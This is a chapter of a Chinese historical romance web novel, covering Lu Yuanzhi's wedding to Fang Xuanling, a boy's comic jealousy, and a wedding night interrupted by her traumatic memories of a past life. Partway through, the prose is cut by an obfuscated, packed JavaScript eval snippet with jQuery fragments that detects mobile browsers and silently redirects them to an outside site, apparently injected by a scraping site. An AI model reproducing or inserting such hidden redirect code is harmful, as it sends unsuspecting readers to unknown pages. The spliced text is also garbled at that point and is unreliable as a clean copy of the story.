卢沅芷身姿娉婷,温柔沉静。葱白的指尖手持团扇,露出半遮半掩的面容。仪态比他见过的仕女图还要好看千倍万倍。
不知怎的,准备好的恶言恶语不自觉咽了回去。果然!房玄龄那么挑剔性子的人,能同意娶的娘子一定很漂亮,只是…没想到会这么漂亮。
“没错,这里是你阿兄要娶的娘子,人家远道而来要歇息了,你别挡道。”杜夫人有些不耐烦,边说边上前给杜如晦扒拉开。余下人鱼贯而入进了厢房。
杜如晦怔怔看着,不知想到什么,骤然甩开杜夫人冲进去。
“卢姊姊你长这么好看。怎么会愿意同房玄龄结亲呢?他这个人除了有点文采,人品一无是处的。”
这话说得房内人一愣,哪有人拜堂前说新郎官坏话的?这不是搅和人姻缘嘛?
但这小郎君年岁小,看穿戴又是杜府主子。没有卢沅芷发话碍于身份谁也不敢开口训斥。
而门外杜夫人气得差点喘不上气,起身就要进去将人薅出来。却在迈步那一瞬间,心思一动,有点好奇面对这种情况,卢沅芷会这么做!
一个转念的功夫,迈开的腿便停住了。
“怎么这样说,是他欺负你了吗?”屋内温柔的声线传出。既没说房玄龄的不是也没否定杜如晦的看法。杜夫人暗自满意,光是听着她都能想象到新娘子的表情,必定温和极了。嗯,聪明待人有礼,配的上她外甥。
“哼!他能欺负到我?”杜如晦撇开头,强装声势。
玖儿朝窗外看了眼,注意到杜夫人的身影连忙在一旁起哄。“是是是,我们小杜郎君才高八斗,自然不把房郎君放在眼里。”
杜如晦闻言有些得意,高高仰起自己的头颅,语气志得意满。“那当然!所以卢姊姊你别怕,日后等我飞黄腾达,我必让他跟你和离,然后我来娶你,让你当一品诰命夫人!”
“噗!”屋内顿时笑作一团。
越说越离谱了,这下还不等卢沅芷拒绝,一只绣花鞋顺声砸过来,正中杜如晦额角,少年肌肤娇嫩,额角被砸出一块青色的淤印。
杜如晦怪叫一声。“哎呦!”
杜夫人雷厉风行走进来,对卢沅芷歉意道:“主家不在,郎君还小,缺乏管教不懂事,卢娘子莫见怪。”
卢沅芷连忙摆摆手,起身见礼。
杜夫人微微颔首,转过头怒目揪起杜如晦的耳朵。“好你个小兔崽子!又在讲你房家阿兄的坏话!”
杜如晦疼得呲牙咧嘴,依旧不服气。“我怎么不能讲了?言实者,人之道也,世之需也,时之义也。房玄龄就是坏!没准以后他会自己不完成先生的功课,然后把卢姊姊写好的交给先生。我是为卢姊姊好!我有什么错!”
杜夫人:“……”
卢沅芷:“……”有点不好解释,她应该是没什么机会跟房郎君同窗念书了。
屋内婢女听完这话一个个垂下头,压着嗓子不敢笑出声。
杜如晦双臂抱在一起,冷哼一声。
下一秒,他耳朵便被拧成麻花状。
杜夫人气急败坏:“让你多写份功课能累死你吗!再敢胡说八道!老娘撕烂你的嘴!”
“啊!疼疼疼!阿娘撒手。”
杜如晦边叫边逃,走出门去还能听见杜夫人训斥的高声。
待走远些,众人纷纷憋不住笑出声。
卢沅芷放下团扇,有些无奈。难道房郎君还干过这种欺负小孩子的事?把别人的功课交上去。跟她接触的房郎君形象完全不一样啊!
光是想到那个画面,她便禁不住笑出声了。
——
迎亲正日,天清气爽,宜祭司,宜婚嫁。
卢沅芷揉着眼睛坐起身,梳洗打扮。房玄龄做的催妆诗一首一首送进来,卢承基带领杜如晦和卢承业拦着门,收够好处得了鱼儿送出的信才点头,放迎亲队伍进门。
省了拜别父母的仪式,卢沅芷很快步入花轿。
杜如晦和卢承业大眼瞪小眼,对着哀叹,舍不得姊姊出嫁。
叹到一半,卢承业感觉不对劲儿。“她是我亲姊姊,她出嫁你哀叹什么?”
言下之意,你也不是亲弟弟你难过什么?
杜如晦涨红一张脸,强词夺理。“卢姊姊所托非人,我怕卢姊姊过的不好。”
“你说谎!我姊夫人可好了!”卢承业作为内弟,这段时日没少被房玄龄重点关照,各种珍本吃食流水一般送给他,在他心里,现在亲阿兄卢承基都没房玄龄亲。
杜如晦一副没救了的表情。“你被骗了,房玄龄这人可坏了!”
“我不准你说我姊夫坏话!”
“我就说!我就说!”
......
在众人看不到的角落,两个少年谁也说服不了谁,各自撇开头,谁也不理谁了。
而另一边,离开的迎亲队伍奏乐声越走越响,逐渐远离杜府,轿厢外鱼儿和玖儿跟着花轿,瞧见房府马上要到了,连忙贴近小声提醒一句。
花轿落定,冬日温煦的阳光映入其中,卢沅芷微微抬头,视线中出现了一只劲瘦有力的手掌。此时手心朝上,静等着她光顾。
她认识这只手,因为她已经握住过这只手了。
她不知现在的婚礼是否流行新郎扶新娘出花轿,但不可否认,这一瞬间,她那些隐匿在内心深处,焦躁不安的情绪被抚平了些许。
临近房府时,前世官人厌恶的眼神,白云观主持侮辱的话语争先恐后跳入脑海,连带着她的手在伸出时,也迟疑了一下。
不料,那点迟疑被劲瘦的手掌一把拽住,卢沅芷身子一顿,房玄龄已用劲将她扶出花轿。
轿外,人声鼎沸,喧闹异常。清隽的嗓音透过层层杂音,穿入耳中。“娘子别担心,有我扶着你。”
卢沅芷一怔,举着团扇的手紧了紧,跟着房玄龄一步一步走过流程来到正堂。
傧相高喊:
“一拜天地!”
“二拜高堂!”
“夫妻对拜!”
红绸布挂了满堂,场景重叠,卢沅芷眨了眨眼,眸中莫名泛起酸涩。随着哄闹声起,房玄龄再次牵住她的手。温热的触感从手心传遍四肢百骸,那些前世场景,一点点在眼前破碎、消散。
她相信!这次,她一定能过得很好的。
喜娘跟着新人进入新房。两人相对坐在一处。喜娘一边高喝撒帐歌,一边拿寓意好的花生莲子等物轻轻撒在他们身上和床上。
等撒帐结束,便是却扇。
“佳人画扇出帷来……”
卢沅芷没注意到房玄龄投望过来的目光。扇面一点点从她眼前移开,转头望去,只见房玄龄清隽的面上挂起温润的笑,他深邃的眸子明澈透亮,望过来的视线温柔又坚定,不是怎的,对视时,空气中都多了股甜腻的味道。
成婚原来是这般,同坐喜床之上,火红融合成一片,你中有我,我中有你。
房玄龄:“娘子今日,好看极了。”
“呦呦呦!”随着话音落下,新房内哄闹声四起。喜娘和鱼儿她们笑作一团,还有房氏的小辈被大人捂住耳朵。
卢沅芷也被这打趣羞红了脸,垂下头。
房玄龄微微侧身,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542031|171018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下意识将卢沅芷挡在身后。拱手作揖:“我家娘子面皮薄,各位嘴下留情啊。”
喜娘甩了甩帕子,调皮着道:“新郎别担心!今日谁敢为难新娘啊!这都是正常流程嘛~等一会儿咱们这帮人就撤,绝不耽误你们小两口的洞房花烛夜!”
新婚夜嘛,免不了被打趣。房玄龄放下手,索性大大方方让人打趣。“如此,房某感激不尽。”
卢沅芷抬起头,目光恰好落在房玄龄的耳垂上,红得如滴血般,几乎要与今日的喜服同色。喜服包裹着他挺拔的身姿,隐藏其中紧绷的身躯。
要不是卢沅芷离得近,也不会注意到。
她惊讶之余有些好笑,本以为房郎君能这么镇定的开玩笑必是内心稳重,没想到是强忍着羞涩。细细想来,是因为房郎君挡在她面前,她才免受许多打量的目光。
鱼儿她们说房郎君人品贵重是真的,杜小郎君说房郎君坏是假的。
房郎君不可能坏的。
走完所有仪式,喜房内的人涌出门口,房玄龄也要出去敬酒。谁料,他忽然转过身朝她笑,因为没人,他笑得更放肆,更胜过幞头旁的大红绢花。
“娘子稍候,我去去就来。”
喜娘回头打趣。“知道你们小夫妻难舍难分,但新郎官可得招待完客人才能进洞房啊!”
顿时,数只眼睛往回看,卢沅芷酡红着脸点头,小声开口:“郎君,不着急的。”
少女轻着嗓音说话,听起来又娇又软。红唇半开,粉舌微露。
房玄龄盯着那处,声音都哑了。“嗯。”
他站直身子,理了理体内翻涌的气血,忙不迭出去招待人。他怕他再不走,就会嫌人多碍事了。
这边卢沅芷沐浴完,换了一身月白色轻便的亵衣回房。
龙凤烛散出淡淡光晕,纤细的身影映在窗棂外,颜如舜英。
房玄龄渡步顿了顿,垂在身侧的手紧绷着。片刻后,才挥退仆从进房。
屋内一下沉静下来。
四目相对,房玄龄想着,他是个男子,自然要主动些,遂上前一步道:“娘子,咱们这便安歇吧。”
安歇这个词放到现在说,言下之意不言而喻。卢沅芷霎时白了脸,只她本来就白,房玄龄又紧张,便没看出来。
床帐缓缓被放下,整个床榻立时昏暗下来。
这床帐遮光力委实不错,以至于房玄龄完全没注意到卢沅芷紧绷的身子。他只觉得身侧人娇娇软软的,又香又甜。
昔日他自忖才高,怎么也想不到有一天他竟会没有形容词描述此刻的感受。难怪老人常说洞房花烛乃人生四大喜事之一。确实欢喜。
他指尖顺着床榻摸过去,身子微侧。
帷幔内两道身影相叠,渐渐落下。
房玄龄感受着唇下柔嫩的触感,手情不自禁向下滑去。少女瞪大一双杏眸,似是被他的动作惊到,一动不动任由他亲。
太乖了。
让人忍不住想欺负。
帷幔内升起情动的气息。随着两人贴近。上一世刺骨的痛乍然涌入脑海,激得她奋力一推。
刹那间,帷幔内顿时没了那种情动的气息。
房玄龄神情怔了怔,不明所以。“娘子,你这是…”
卢沅芷怔了怔,难以置信看向自己的双手,她作为女子竟敢拒绝夫君的求欢。豆大的泪珠一滴一滴滚落。怎么办!怎么办!
房郎君会不会生气?会不会以后都讨厌她了?
而且,而且不这样是没有孩子的,想到此处,卢沅芷更难过了。
完了完了!全被她搞砸了。